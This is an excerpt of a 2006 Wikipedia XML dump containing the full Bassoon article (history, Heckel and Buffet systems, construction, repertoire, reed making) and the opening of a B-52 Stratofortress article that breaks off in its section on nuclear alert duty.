{{Link FA|de}}
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{{Link FA|zh}}

[[ar:بنزين (حلقة)]]
[[bg:Бензен]]
[[ca:Benzè]]
[[cs:Benzen]]
[[da:Benzen]]
[[de:Benzol]]
[[el:Βενζόλιο]]
[[es:Benceno]]
[[eo:Benzeno]]
[[fr:Benzène]]
[[gl:Benceno]]
[[ko:벤젠]]
[[id:Benzena]]
[[it:Benzene]]
[[he:בנזן]]
[[lv:Benzols]]
[[hu:Benzol]]
[[nl:Benzeen]]
[[ja:ベンゼン]]
[[no:Benzen]]
[[nn:Benzen]]
[[pl:Benzen]]
[[ru:Бензол]]
[[fi:Bentseeni]]
[[sv:Bensen]]
[[vi:Benzen]]
[[uk:Бензол]]
[[zh:苯]]</text>
    </revision>
  </page>
  <page>
    <title>Bassoon</title>
    <id>4207</id>
    <revision>
      <id>42140285</id>
      <timestamp>2006-03-04T02:12:00Z</timestamp>
      <contributor>
        <ip>67.101.26.133</ip>
      </contributor>
      <comment>Corrected Work Title</comment>
      <text xml:space="preserve">[[Image:FoxBassoon.jpg|thumb|A Fox Instruments bassoon. [http://upload.wikimedia.org/wikipedia/commons/a/ab/FoxBassoon.jpg view detail].]]

The '''bassoon''' is a [[woodwind instrument]] in the [[double reed]] family that plays in the [[tenor]] range and below. Also called ''fagott'', in German, and ''fagotto'', in Italian, from a word meaning &quot;bundle of sticks&quot; due to its construction: the instrument is made of an eight foot long conical piece of wood, doubled over onto itself, and split into several sections so it can be disassembled and stored. Appearing in its modern form in the 1800s after the model of its precursors, particularly the [[dulcian]], the bassoon is a part of orchestral, concert band, and chamber music literature. It is known for its distinctive tone color, wide range, variety of character, and agility. A bassoon player is called a &quot;bassoonist&quot;.
==Development==
&lt;br style=&quot;clear:both;&quot;&gt;
===Early history===
[[Image:Praetorius_bassoons.jpg|thumb|Dulcians and [[Rackett|racketts]], from the ''Syntagma musicum'' by [[Michael Praetorius]].]]
The bassoon was developed from its precursor, most often referred to as the [[dulcian]], a wooden instrument all in one piece. Used and developed greatly in the 16th century to add a stronger bass to the wind band then consisting largely of [[shawm]]s and [[recorder]]s, the dulcian's origins are unknown. Scattered evidence exists for its creation at various places and times, and few early examples survive. There were eventually eight members of the dulcian family of varying size, from soprano down to bass ranges. The early dulcian had many similarities to the modern bassoon: though generally constructed of only a single piece of wood rather than sections, it too consisted of a conical bore that doubled back on itself at the bottom, with a curved metal crook leading from the instrument body to the reed. It was, like the modern instrument, frequently constructed of maple, with thick walls to allow finger-holes to be drilled obliquely, with its bell flared slightly at the end. However, there were only eight finger-holes and two keys.

This instrument closely resembled a bundle of sticks, giving it the name meaning such, &quot;fagot&quot;, in 16th century Italy. (A dance also named &quot;fagot&quot; dates to a century earlier.) The instrument was constructed folded back on itself, as it is to this day (giving it the name in some regions &quot;curtall&quot;, as it was shortened significantly).  The English name of &quot;bassoon&quot; comes from a more general term referring to the bass register of any instrument, but after [[Henry Purcell]]'s call for a &quot;bassoon&quot; in ''Dioclesian'' (1690) referring to the wooden double reed, the word began to be used to refer to this instrument in particular. 

The evolution of the early dulcian into the modern bassoon is also without precise record; the dulcian continued to be used into the 18th century (and in Spain, into the early 20th). A Dutch painting, &quot;Der Fagottspieler&quot;, in the [[Suermondt Museum]], which scholars date to the end of the 17th century, depicts the bassoon much as it appears in its current form, and a three-keyed bassoon has been dated to 1699. It was the Dutch maker Coenraad Rijkel whose addition of the G key for the right-hand pinky just after the turn of the 18th century fixed the hand position to the current standard; previously, the instrument was able to be played with either hand on top. The early bassoon flourished in the Netherlands in the late 17th and early 18th century, with over half a dozen prominent woodwind makers developing the instrument. Today, only thirty-three bassoons from that era survive.

===Modern history===
Increasing demands on the capabilities of instruments and players in the 1800s&amp;mdash;particularly concert halls requiring louder tones and the rise of virtuoso composer-performers&amp;mdash;spurred on the further refinement of the bassoon. Increased sophistication both in manufacturing techniques and acoustical knowledge made possible great improvements in the playability of the instrument. 

The modern bassoon exists in two distinct primary forms, the Buffet system and the Heckel system. The Buffet system is played primarily in France but also in Belgium, while the Heckel system is played in the majority of the world.  

====Heckel system====
[[Image:Bassoon 1870.jpg|thumb|Heckel system bassoon from 1870]]
The design of the modern bassoon owes a great deal to the performer, teacher, and composer [[Carl Almenräder]], who, assisted by the German acoustic researcher [[Gottfried Weber]] developed the 17-key bassoon whose range spanned four octaves. Almenräder's improvements to the bassoon began with an 1823 treatise in which he described ways of improving intonation, response, and technical ease of playing by means of augmenting and rearranging the keywork; subsequent articles further developed his ideas. Working at the Schott factory gave him the means to construct and test instruments according to these new designs, the results of which were published in ''Caecilia'', Schott's house journal; Almenräder continued publishing and building instruments until his death in 1843, and [[Ludwig van Beethoven]] himself requested one of the newly-made instruments after hearing of the papers. Almenräder left Schott to start his own factory along with partner [[J.A. Heckel]] in 1831.

Heckel and two generations of descendants continued to refine the bassoon, and it is their instrument that has become the standard for other instrument makers to follow. Because of their superior singing tone quality (an improvement upon one of the main drawbacks of the Almenräder instruments), the Heckel instruments competed for prominence with the reformed Wiener system, a [[Boehm system|Boehm]]-style bassoon, and a completely-keyed instrument devised by C. J. Sax, father of [[Adolphe Sax]].  One latecomer attempt, from 1893, at a logical reformed fingering system was implemented by F.W. Kruspe, but failed to catch on. Other attempts at improving the instrument included a 24-keyed model by name in date and a single-reeded mouthpiece, but both were found to have adverse effects on the bassoon's distinctive tone and were abandoned.

Coming into the 20th century the Heckel-style German model of bassoon dominated the landscape; Heckel himself had made over 4000 instruments by the turn of the century, and the English makers' instruments were no longer desirable for the changing pitch requirements of the symphony orchestra, remaining primarily in [[military band]] use.

Today the Heckel factory remains and the Heckel bassoons are by many considered the best, Although a range of different manufacturers exist, all with different modifications to their bassoons. Companies that manufacture bassoons are (among others): Yamaha, Fox Products, Schreiber, Püchner, Signet, Kohlert, B.H. Bell and Guntram Wolf. There are also serveral smaller bassoon manufacturers that make special instruments to fit special needs.

====Buffet system====
The Buffet system bassoon, which stabilized somewhat earlier than the Heckel, developed in a more conservative manner. While the development of Heckel bassoon can be characterized as a complete overhaul of the instrument from both an acoustic and keywork perspective, the Buffet system focused primarily on incremental improvements to the keywork. This less radical approach deprives the Buffet system bassoon of the improved consistency, and thus ease of operation, and increased power found in the Heckel lineage bassoons, but the Buffet is considered by some to have a more vocal and expressive quality. (Conductor John Foulds in 1934 lamented the dominance of the Heckel-style bassoon, considering them to be too homogeneous in sound with the [[horn (instrument)|horn]].)

Compared to the Heckel bassoon, Buffet system bassoons have a narrower bore and differing keywork; the Buffet instruments are known for a reedier sound and greater facility in the upper registers, reaching e&lt;nowiki&gt;'''&lt;/nowiki&gt; and f&lt;nowiki&gt;'''&lt;/nowiki&gt; with far greater ease and less air pressure. While specifically desirable in some music (French woodwind players traditionally produce a lighter and more reedy tone than is usual elsewhere) the more reedy sound has sometimes drawn criticism for being too distinctive. As with all bassoons the tone varies substantially from instrument to instrument and performer to performer. The Heckel system can sound rather fixed and woody, but good players strive and usually succeed in producing a warm singing tone. The Buffet can sound reedy, but many good players strive and usually succeed in producing a warm, expressive sound which is not in the least reedy.

Though the French system was once widely favored in England, Buffet instruments are no longer made there, and the last prominent English player of the French system retired in the 1980s. However, with its continued use in some regions and its distinctive tone, the Buffet continues to have a place in modern bassoon playing, particularly in France. Buffet-model bassoons are currently made in Paris by Buffet-Crampon and Selmer, with various other makers producing replica instruments. &lt;!-- This subsection needs work --&gt;

==Construction and characteristics==
[[Image:Fagott-Bassoon.svg|thumb|160px|left|Parts of the bassoon]]
[[Image:Range bassoon.png|thumb|200px|[[Playing range]] of a bassoon &lt;br&gt;({{Audio|Bassoon-technical-range.ogg|listen}})]]
The bassoon disassembles into six main pieces, including the reed. The bell &lt;font color=red&gt;(6)&lt;/font&gt;, extending upward; the tenor joint &lt;font color=red&gt;(5)&lt;/font&gt;, connecting the bell and the boot; the boot (or butt) &lt;font color=red&gt;(4)&lt;/font&gt;, at the bottom of the instrument and folding over on itself; the wing joint &lt;font color=red&gt;(3)&lt;/font&gt;, which extends from boot to bocal; and the [[bocal]] (or crook) &lt;font color=red&gt;(2)&lt;/font&gt;, a crooked metal tube which attaches the wing joint to a reed &lt;font color=red&gt;(1)&lt;/font&gt; ({{Audio|Bassoon-technical-reed.ogg|listen}}).

The modern bassoon is generally made of [[maple]], with medium-hardness types such as [[sycamore maple]] and [[sugar maple]] being preferred. Less-expensive models are also made out of materials such as [[polypropylene]] and [[ebonite]], primarily for student and outdoor use; metal bassoons were made in the past but have not been in production by any major manufacturer since 1889. The bore of the instrument is conical, like that of the oboe and the saxophone, and the bottom of the instrument connects the bore in the middle with a u-shaped metal connector. Both bore and holes are precision-machined, and each instrument is finished by hand for proper tuning. The walls of the instrument are sufficiently thick that the finger holes are drilled obliquely to aid in fingering, and wooden instruments are lined with a hard rubber lining along the interior of the wing and boot joints to prevent damage from moisture with extensive playing; wooden instruments are also [[stain]]ed and [[varnish]]ed. The top of the bell is frequently completed with a ring, often of plastic or [[ivory]]. The separate joints, where they connect, are wrapped in either cork or string, to aid sealing against air leaks. The bocal, which is inserted into the top of the wing joint and has one end wrapped in cork for sealing, may come in many different lengths, depending on the desired tuning. &lt;!--The bocal, made of ... and plated with ... and must be carefully matched to the instrument.--&gt;

Folded upon itself, the bassoon stands 134 cm (4.4 feet) tall, but the total length is 254 cm (roughly 8.3 feet). Playing is facilitated by doubling the tube back on itself and by closing the distance between the widely-spaced holes with a complex system of keywork, which extends throughout nearly the entire length of the instrument. There are also short-reach bassoons made for the benefit of young or petite players.

Bassoon players must learn three different clefs: Bass (first and foremost), Tenor, and Treble. The range of the bassoon begins at B-flat&lt;sub&gt;1&lt;/sub&gt; (the first one below the bass staff) and extends upward over three octaves (roughly to the E on the treble staff). Higher notes are possible but difficult to produce and rarely called for; orchestral parts rarely go higher than the C or D, with even [[Igor Stravinsky|Stravinsky]]'s famously difficult opening solo in [[The Rite of Spring]] only ascending to the D. Low A at the bottom of the range is possible with a special extension to the instrument; as its use makes the bottom B-flat impossible to play and affects the intonation of the lower notes, it is rarely called for. The Quintet for Winds by Carl Nielsen concludes with a featured use of the low A.  Frequently, a paper tube or [[English horn]] bell placed correctly in the bassoon's bell is used instead of a specially made extension.

==Usage in ensembles==
===Modern ensembles===
The modern symphony orchestra typically calls for two bassoons, often with a third playing the [[contrabassoon]]. (The first work written with an independent contrabassoon part was [[Beethoven's Fifth Symphony]], although an earlier work by Mozart called for a &quot;large bassoon&quot; and was written below the range of the modern bassoon.) Some works call for four or more players. The first player is frequently called upon to perform solo passages. Its distinctive tone suits it for both plaintive, lyrical solos such as [[Maurice Ravel|Ravel]]'s ''[[Bolero]]'' and more comical ones, such as the grandfather's theme in ''[[Peter and the Wolf]]''. Its agility suits it for passages such as the famous running line (doubled in the cello) in ''[[The Marriage of Figaro]]''. In addition to its solo role, the bassoon is an effective bass to a woodwind choir, a bass line along with the cellos and double basses, and harmonic support along with the French horns. 

A wind ensemble will usually also include two bassoons and sometimes contra, each with independent parts; other types of concert wind ensembles will have larger sections, with many players on each of first or second parts; in simpler arrangements there will be only one bassoon part and no contra. The bassoon's role in the wind band is similar to its role in the orchestra, though when scoring is thick it often cannot be heard about the brass instruments also in its range. ''[[La Fiesta Mexicana]]'', by [[H. Owen Reed]], features the instrument prominently, as does the transcription of [[Malcolm Arnold]]'s ''Four Scottish Dances'' which has become a staple of the band repertoire.

The bassoon is also part of the standard [[wind quintet]] instrumentation, along with the flute, oboe, clarinet, and horn; it is also frequently combined in various ways with other woodwinds. [[Richard Strauss]]'s Duet-Concertino pairs it with the clarinet as ''concertante'' instruments, with chamber strings as support.

The bassoon quartet is also gaining favor in recent times, with the [[Bubonic Bassoon Quartet]] being one of the more notable groups. The bassoon's wide range and variety of tone colors make it ideally suited to grouping in like-instrument ensembles. [[Peter Schickele]]'s &quot;Last Tango in Bayreuth&quot; (after themes from ''[[Tristan and Isolde]]'') is a popular work; Schickele's fictional alter ego [[P. D. Q. Bach]] exploits the more humorous aspects with his quartet &quot;Lip My Reeds&quot;, which at one point calls for players to to perform on the reed alone.

===Earlier ensembles===
&lt;br style=&quot;clear:both;&quot;&gt;
&lt;!--need use of precursors, chamber ensembles, in fact everything outside the symphony orchestra--&gt;
The bassoon's use in the early symphony orchestra was solely as a [[continuo]] instrument. Baroque composer [[Jean-Baptiste Lully]] and his ''Les Petits Violons'' included oboes and bassoons along with the strings in the 16-piece (later 21-piece) ensemble, as one of the first orchestras to include winds. [[Antonio Cesti]] included a bassoon in his 1668 opera ''Pomo d'oro''. However, the use of the bassoon in the concert orchestra was sporadic until the late 17th century when winds began to make their way into the standard instrumentation, largely due to improvements in the design of wind instruments that corrected tuning problems and gave them greater ability to play chromatically (as the fretless strings were easily able to do). &lt;!--and whatever else, cross-check with history section--&gt; The bassoon was introduced as a regular member of the symphony orchestra as part of the basso continuo along with the cellos and bass [[viol]]s; they also filled out the choirs of wind instruments in opera orchestras, first in France and then in Italy. [[Johann Stamitz]] and his symphonies gave the winds slightly more independence by scoring them for orchestral color rather than strict doubling, but still the bassoon was not used as an independent melodic instrument. 

[[Antonio Vivaldi]] brought the bassoon to prominence by featuring it in his 37 concerti for the instrument. The early classical orchestra included the bassoon, it was again only filling out the continuo and often unmentioned in the score; symphonic writing for bassoons as fully-independent parts rather than mere doubles would not come until later in the Classical era. Mozart's ''Jupiter'' symphony is a prime example, with its famous bassoon solo. &lt;!--image of Jupiter solo?--&gt; The bassoons were generally paired, as in current practice, though the famed [[Mannheim Orchestra]] boasted four.

==Concerti and other orchestral literature==
===Baroque===
* [[Antonio Vivaldi]] wrote 37 [[concerto|concerti]] for bassoon

===Classical===
* [[Johann Christian Bach]], Bassoon Concerto in B flat, Bassoon Concerto in E-flat major
* [[Johann Nepomuk Hummel]], Bassoon Concerto in F, W75
* [[Wolfgang Amadeus Mozart]], [[Bassoon Concerto (Mozart)|Bassoon Concerto]] in B flat, K191
===Romantic===
* [[Carl Maria von Weber]], Andante e rondo ungarese in C minor, op. 35
* [[Carl Maria von Weber]], Bassoon Concerto in F, op. 75
===Contemporary===
* [[Paul Hindemith|Hindemith]], Sonata for Bassoon and Piano(1938)
* [[John Williams]], Five Sacred Trees : Concerto for Bassoon and Orchestra(1997)
* [[Richard Strauss]], Duet Concertino for Clarinet and Bassoon with strings and harp (1948)

===Famous orchestral passages===
* [[Paul Dukas]], [[The Sorcerer's Apprentice]], widely recognized as used in the movie [[Fantasia (movie)|Fantasia]]
* [[Edvard Grieg]], [[In the Hall of the Mountain King]]
* [[Sergei Prokofiev]], [[Peter and the Wolf]] (possibly the most-recognized bassoon theme, the part of the grandfather)
* [[Igor Stravinsky]], [[The Rite of Spring]] (opens with a famously unorthodox bassoon solo)
* [[Igor Stravinsky]], lullaby from [[The Firebird]] 
* [[Igor Stravinsky]], [[Symphonies of Wind Instruments]] (less famous but just as high and difficult as rite of spring)
* [[Maurice Ravel]], [[Rhapsodie Espagnole]] (features a fast, lengthy dual cadenza at the end of the first movement)
* [[Maurice Ravel]], [[Bolero (Ravel)|Bolero]] (the bassoon has a high descending solo passage near the beginning)
* [[Hector Berlioz]], [[Symphonie Fantastique]] (in the fourth movement there are several solo and tutti bassoon featuring passages. This piece calls for four bassoons.)

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==Technique==
The instrument is played either by a seated player sitting on a support (usually a strap) attached to the bottom of the instrument, or is held with a neck strap and often a harness. The instrument, in either case, extends diagonally across the player's body, similar to the saxophone. The bassoon (and [[contrabassoon]]) are alone in the woodwind family in that they are both fingered with Heckel-system keywork, a descendant of the original Baroque fingering system, as opposed to the otherwise ubiquitous [[Boehm system]]. An alternate, unrelated, fingering system (Buffet) is used in France, but in the U.S. and most of Europe the Heckel system is dominant.

The Heckel-system bassoon is played with both hands in a stationary position, with six main finger holes on the front of the instrument (some of which are open, and some of which are aided by keywork). Also on the front of the instrument are several additional keys to be controlled by the pinky fingers of each hand. The back of the instrument has over a dozen keys to be controlled by the thumb (the exact number varies depending on model).

While instruments are constructed to have accurate pitch throughout the scale, the player has a great degree of flexibility of pitch control through the use of breath support and [[embouchure]]. Players are also able to use alternate fingerings to adjust the pitch of most playable notes.
&lt;!--labeled keywork picture goes here--&gt;

===Extended techniques===
Many extended techniques can be performed on the bassoon, such as [[multiphonics]], [[flutter tonguing]], [[circular breathing]], and [[harmonic]]s.

==Reeds and reed construction==
===The modern reed===
[[Image:Bassoon-reeds2.jpg|thumb|right|100px|Bassoon reeds are only a few centimeters in length and are often wrapped in colorful string.]]
Bassoon reeds, made of ''[[Arundo|Arundo donax]]'' cane, are generally made by the players themselves. Reeds begin with a piece of cane that has been left to dry. The cane is then cut and ''gouged'' into smooth strips, leaving the bark attached. After soaking, the strip of cane is cut into the desired thickness, or ''profiled''. This can be done by hand; it is more frequently done with a machine or tool designed for the purpose. It is then cut to the correct outline, or ''shaped''. Making sure the cane is thoroughly soaked, to avoid cracking, the profiled and shaped strip of cane is folded over in the middle. The outer edges, where the bark remains after profiling, are secured by three coils of wire at 2 mm and 8mm from the beginning of the blade, and 6 mm from the bottom. The flat piece of cane is placed on a long, thin mandrel and pressed fimrmly around it to form into the proper shape, until the bottom of the reed is rounded enough to fit securely on the end of the bocal.

After the reed has dried, the wires are tightened around the reed, which has shrunk after drying. The lower part is sealed (generally with [[rubber cement]] or [[epoxy]]) and then wrapped with string to ensure both that no air leaks out through the bottom of the reed and that the reed maintains its shape. 

To finish the reed, first, the tip (previously the center of the strip of cane) is cut, so that the blades above the bark are roughly 27 mm long. The reed is then scraped with a knife until it has the proper profile, which has a thin tip leading to a thicker back section, and the &quot;spine&quot; going lengthwise down the center also thick. Specific measurements differ from player to player and instrument to instrument. The very tip of a reed blade is frequently only 0.1 mm thick.

As the style of reed desired varies a great deal from player to player, most advanced players will make their own reeds in order to customize them to their own individual playing style, and almost all will be familiar with the process of making one. However, several companies offer premade reeds, and several individuals also produce reeds for sale, some specializing in this over playing.

===The early reed===
Little is known about the early construction of the bassoon reed, as few examples survive, and much of what is known is only what can be gathered from artistic representations. The earliest known written instructions date from the middle of the 17th century, describing the reed as being held together by wire or resined thread; the earliest actual reeds that survive are more than a century younger, a collection of 21 reeds from the late 18th century Spanish ''bajon''.

==The bassoon in jazz==
The bassoon is infrequently used as a jazz instrument and rarely seen in a jazz ensemble. It first began appearing at all in the 1920s, including specific calls for its use in [[Paul Whiteman]]'s group and a few other session appearances. The next few decades saw the instrument used only sporadically, as symphonic jazz fell out of favor, but the 1960s saw artists such as [[Yusef Lateef]] and [[Chick Corea]] incorporate bassoon into their recordings; Lateef's diverse and eclectic instrumentation saw the bassoon as a natural addition, while Corea employed the bassoon in combination with flautist [[Hubert Laws]]. More recently, [[Illinois Jacquet]] and [[Frank Tiberi]] have both doubled on bassoon in addition to their usual [[saxophone]] performances. Bassoonist [[Karen Borca]], a performer of [[free jazz]], is one of the few jazz musicians to play only bassoon; [[Michael Rabinowitz]] is another, as is the Spanish bassoonist [[Javier Abad]]. [[Lindsay Cooper]], [[Paul Hanson]], and [[Daniel Smith (bassoonist)|Daniel Smith]] are also currently using the bassoon in jazz.

==The bassoon in art and literature==
Much of the early history of the bassoon is known through its representation in painting; the only source of description for the early bassoon reed, for example, is in paintings from late 16th century Spain.

==Audio examples==
[[Image:Bassoon-octaves-spectrogram.png|thumb|100px|A [[spectrogram]] of the bassoon's B-flat in four [[octaves]].]]
{{multi-listen start}}
=== Technical examples ===
A collection of samples demonstrating the bassoon's range, abilities, and tone.
{{multi-listen item|filename=Bassoon-technical-range.ogg|title=Playing Range (A&lt;sub&gt;1&lt;/sub&gt; B-flat&lt;sub&gt;1&lt;/sub&gt; E&lt;sub&gt;5&lt;/sub&gt; A-flat&lt;sub&gt;5&lt;/sub&gt;)|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Bassoon-technical-bflatoctaves.ogg|title=Tone across octaves (B-flat&lt;sub&gt;1&lt;/sub&gt; B-flat&lt;sub&gt;2&lt;/sub&gt; B-flat&lt;sub&gt;3&lt;/sub&gt; B-flat&lt;sub&gt;4&lt;/sub&gt;)|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Bassoon-technical-chromatic.ogg|title=Chromatic scale (B-flat&lt;sub&gt;1&lt;/sub&gt; to B-flat&lt;sub&gt;4&lt;/sub&gt;)|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Bassoon-technical-articulations.ogg|title=Articulations (staccato, legato, legato+vibrato, slurred)|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Bassoon-technical-dynamics.ogg|title=Dynamics|description=|format=[[Ogg]]}}  
{{multi-listen item|filename=Bassoon-technical-trills.ogg|title=Trills (B&lt;sub&gt;4&lt;/sub&gt; to C&lt;sub&gt;5&lt;/sub&gt; B&lt;sub&gt;3&lt;/sub&gt; to C&lt;sub&gt;4&lt;/sub&gt; B&lt;sub&gt;2&lt;/sub&gt; to C&lt;sub&gt;3&lt;/sub&gt;)|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Bassoon-technical-mouthbend.ogg|title=Embouchure bending|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Bassoon-technical-reed.ogg|title=Bassoon reed alone|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Bassoon-technical-fluttertongue.ogg|title=Flutter tonguing|description=|format=[[Ogg]]}} 
=== Solo music ===
{{multi-listen item|filename=Bassoon_beethoven.ogg|title=1st movement|description=Bassoon performance from [[Ludwig van Beethoven|Beethoven]]'s 4th Symphony|format=[[Ogg]]}}
{{multi-listen item|filename=Bassoon_rimsky.ogg|title=''Scheherezade''|description=Bassoon solo composed by [[Rimsky-Korsakov]]|format=[[Ogg]]}}
=== Ensemble music ===
{{multi-listen item|filename=Josquin Des Prez-Tu Pauperum Refugium.ogg|title=Tu Pauperum Refugium|description=Four bassoon ensemble performing from [[Josquin Des Prez]]'s Magnus es tu, Domine|format=[[Ogg]]}}
{{multi-listen end}}
&lt;br style=&quot;clear:both;&quot;&gt;

==Notable bassoonsists==
* [[Étienne Ozi]] (1754&amp;ndash;1813): [[bassoonist]], [[composer]], [[pedagogue]]
* [[Carl Almenräder]] (1786&amp;ndash;1843): bassoonist, instrument designer, composer
* [[Louis Marie Eugène Jancourt]] (1815&amp;ndash;1900): bassoonist, composer, pedagogue, instrument designer
* [[Julius Weissenborn]] (1837-1888): bassoonist, composer, pedagogue
* [[Archie Camden]] (1888&amp;ndash;1979): bassoonist, pedagogue
* [[Simon Kovar]] (1890&amp;ndash;1970): bassoonist, arranger, pedagogue
* [[Sol Schoenbach]] (1915&amp;ndash;1999): bassoonist, pedagogue, Philadelphia Orchestra principal preceding Bernard Garfield
* [[Leonard Sharrow]] (1915&amp;ndash;2004): bassoonist, pedagogue
* [[Maurice Allard]] (1923&amp;ndash;): bassoonist, arranger
* [[Sherman Walt]] (1923-1989): bassoonist, pedagogue, [[Boston Symphony Orchestra]] principal 1953&amp;ndash;1989. 
* [[Mordechai Rechtman]] (1925&amp;ndash;): bassoonist, pedagogue, arranger, conductor, [[Israel Philharmonic]] principal for 45 years
* [[Bernard Garfield]] (1928&amp;ndash;): bassoonist, pedagogue, [[Philadelphia Orchestra]] principal 1957&amp;ndash;2000. 
* [[William Waterhouse]] (1931&amp;ndash;): bassoonist, pedagogue, [[Royal Northern College of Music]]
* [[Walter Ritchie]] (1936–): bassoonist, pedagogue, [[Los Angeles Philharmonic Orchestra]]
* [[Judith LeClair]] (1958-): bassoonist, pedagogue, [[New York Philharmonic]] principal

==References==
* &quot;The Double Reed&quot; (currently three issues per year), I.D.R.S. Publications (see [http://www.idrs.org www.idrs.org])
* &quot;Journal of the International Double Reed Society&quot; (annual since about 1972), I.D.R.S. Publications
* Baines, Anthony (ed.), ''Musical Instruments Through the Ages'', Penguin Books, 1961
* Langwill, Lyndesay G., &quot;The Bassoon and Contrabassoon&quot;, W. W. Norton &amp; Co., 1965
* Popkin, Mark and Glickman, Loren, &quot;Bassoon Reed Making&quot;, The Instrumentalist Publishing Company,  2nd ed., 1987
* Sadie, Stanley, ed., &quot;The New Grove Dictionary of Musical Instruments&quot;, s.v. &quot;Bassoon&quot;, 2001
* Spencer, William (rev. Mueller, Frederick), &quot;The Art of Bassoon Playing&quot;, Summy-Birchard Inc., 1958
* Stauffer, George B. (1986). &quot;The Modern Orchestra: A Creation of the Late Eighteenth Century&quot;. In Joan Peyser (Ed.) ''The Orchestra: Origins and Transformations'' pp. 41-72. Charles Scribner's Sons.
* Weaver, Robert L. (1986). &quot;The Consolidation of the Main Elements of the Orchestra: 1470-1768&quot;. In Joan Peyser (Ed.) ''The Orchestra: Origins and Transformations'' pp. 7-40. Charles Scribner's Sons.

==External links==
*[http://www.wfg.woodwind.org/bassoon/ Bassoon fingering guide]

==See also==
*[[Tenoroon]]

[[Category:Woodwind instruments]]

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  <page>
    <title>B-52 Stratofortress</title>
    <id>4209</id>
    <revision>
      <id>42063927</id>
      <timestamp>2006-03-03T15:39:00Z</timestamp>
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      <text xml:space="preserve">{{redirect|B-52}}
[[image:usaf.b52.750pix.jpg|300px|thumb|right|float|A B-52 in flight.]]
The '''[[Boeing]] B-52 Stratofortress''' is a long-range [[strategic bomber]] flown by the [[United States Air Force]] (USAF) since [[1954]], replacing the [[Convair B-36]] and the [[B-47 Stratojet|Boeing B-47]].  Although built for the role of [[Cold War]]-era nuclear deterrent, its conventional capabilities are these days the more important role in USAF operations, where its long range, heavy weapons load and comparatively economical operation are highly valued.
 
==Mission==
Air Combat Command's B-52 is a long-range heavy bomber that can perform a variety of missions. The bomber is capable of flying at high subsonic speeds at altitudes up to 50,000 feet (15 km). It can carry a variety of weapons, including [[nuclear weapon|nuclear]] or conventional [[precision-guided munition]] and has the capability to navigate the world precisely. It was originally designed to carry just two enormous [[thermonuclear weapons]] to any point in the [[USSR]].

==Background==
For more than 50 years, the B-52 Stratofortress has been the backbone of the manned strategic bomber force for the United States. The B-52 is capable of dropping or launching a wide array of weapons in the U.S. inventory, including free-fall ([[gravity bomb]]s), [[cluster bomb]]s, and precision guided [[ordnance]] such as [[Joint Direct Attack Munition]]s. When updated with the latest technology, the B-52 will be capable of delivering the full complement of joint developed weapons; allowing it to continue well into the 21st century as an important element of U.S. military capabilities. Current engineering analyses show the B-52's life span to extend beyond the year [[2045]]. 

[[Image:USAF YB52.jpg|thumb|300px|The YB-52 prototype.  Note bubble canopy similar to that on the [[B-47 Stratojet|B-47]].]]
[[Image:B-52 landing.jpg|thumb|300px|A B-52H Stratofortress deploying its drag chute for landing.]]
Two B-52 prototypes were built, and were designated '''XB-52''' and '''YB-52'''.  In actuality, both aircraft were almost identical, but the YB-52 incorporated enough changes to warrant a different designation. The most notable difference between the prototypes and the B-52A was that the X and Y aircraft used a tandem cockpit for the pilot and co-pilot, very similar to that on the B-47. The cockpit for the B-52A was completely redesigned due to the insistence of General [[Curtis LeMay]], Commander of the [[Strategic Air Command]], who was opposed to the tandem seating arrangement.  Although the XB-52 was the first prototype to be completed and rolled out, the YB-52 was the first to fly - on April 15, 1952 - due to damage on the XB-52's wing trailing edges caused by a hydraulic system failure. The XB-52 eventually flew for the first time on October 2, 1952. Unfortunately, both aircraft were scrapped in the mid-1960s, though the YB-52 was available for viewing in the USAF Museum from the late '50s until the time when it was decided to scrap it.  

The B-52A first flew in August [[1954]] and the B model entered service in [[1955]]. A total of 744 B-52s were built with the last, a B-52H, delivered in October [[1962]]. Only the H model is still in the Air Force inventory and is assigned to Air Combat Command and the Air Force Reserves.  The oldest B-52 still flying was a B-52B that was built in [[1955]], though it also has the fewest flight hours of any surviving B-52. It was operated by [[NASA]]'s [[Dryden Flight Research Center]] and was used for drop tests of various research aircraft until its retirement on [[December 17]], [[2004]]. On [[July 30]], [[2001]], Dryden received a B-52H that is expected to fully replace the older B-model aircraft by the end of [[2004]].

The first of 102 B-52H's was delivered to [[Strategic Air Command]] in May [[1961]]. The H model can carry up to 20 air launched cruise missiles. In addition, it can carry the conventional [[cruise missile]] that was launched in several contingencies during the 1990s, starting with [[Operation Desert Storm]] and culminating with [[Operation Allied Force]] in the spring of [[1999]].  

The threat of B-52 attacks motivated the Soviet Union back down from its threat to deploy nuclear-armed missiles to [[Cuba]] in the [[1962]] [[Cuban Missile Crisis]].

For duty in Vietnam, the B-52D/E/F received the &quot;Big Belly&quot; modification which enabled the aircraft to squeeze 108 500-pound conventional [[bombs]] into the bomb bay, as well as 28 750-pound bombs on underwing pylons.

==Alert Duty==
A proportion of the B-52 force was kept fuelled, crewed and loaded with nuclear weapons so that it could take off on a few minutes' notice.  The plan was to get the aircraft away from their bases, which would have been destroyed by incoming enemy missile warheads.  The B-52s would have escaped and headed toward their targets.  Along the way, each B-52 would have met at least one [[KC-135 Stratotanker]]. KC-135 tanker aircraft would have refueled the bombers, even at the cost of their own fuel supplies.  Every drop of fuel would have been given to the bombers, thus sacrificing  the tankers to ensure the mission would succeed. 

Early on, high-altitude bombing attacks over the Soviet Union were considered possible.  B-52s carried [[ADM-20 Quail]] [[decoys]], which emulated the B-52s flight characteristics, flying through enemy territory emitting B-52-like electronic signals.  However, in the late 1950s and 1960s, Soviet high-altitude air defenses improved. To counter this, B-52 crews were trained to launch their unmanned missiles such as the [[hypersonic]] AGM-69 [[AGM-69 SRAM|Short Range Attack Missile]] and then fly &quot;below the radar&quot; attacks at nearly tree top level.  

B-52s also performed airborne alert duty under the code-name &quot;Chrome Dome&quot; where bombers would loiter near points outside of the Soviet Union. During this program a deadly collision between a B-52 and a KC-135 over Spain in [[1966]] occurred. Four megaton-range nuclear bombs were lost (all four later recovered). After this crash, thousands of tons of contaminated radioactive soil had to be brought back to the US. The USAF decided this was too expensive to risk again, and it ended the airborne alert program.

The 1973 Arab attack on Israel, and the subsequent threat of a Soviet invasion of Israel,  brought the B-52s to their highest state of ground alert (see below).

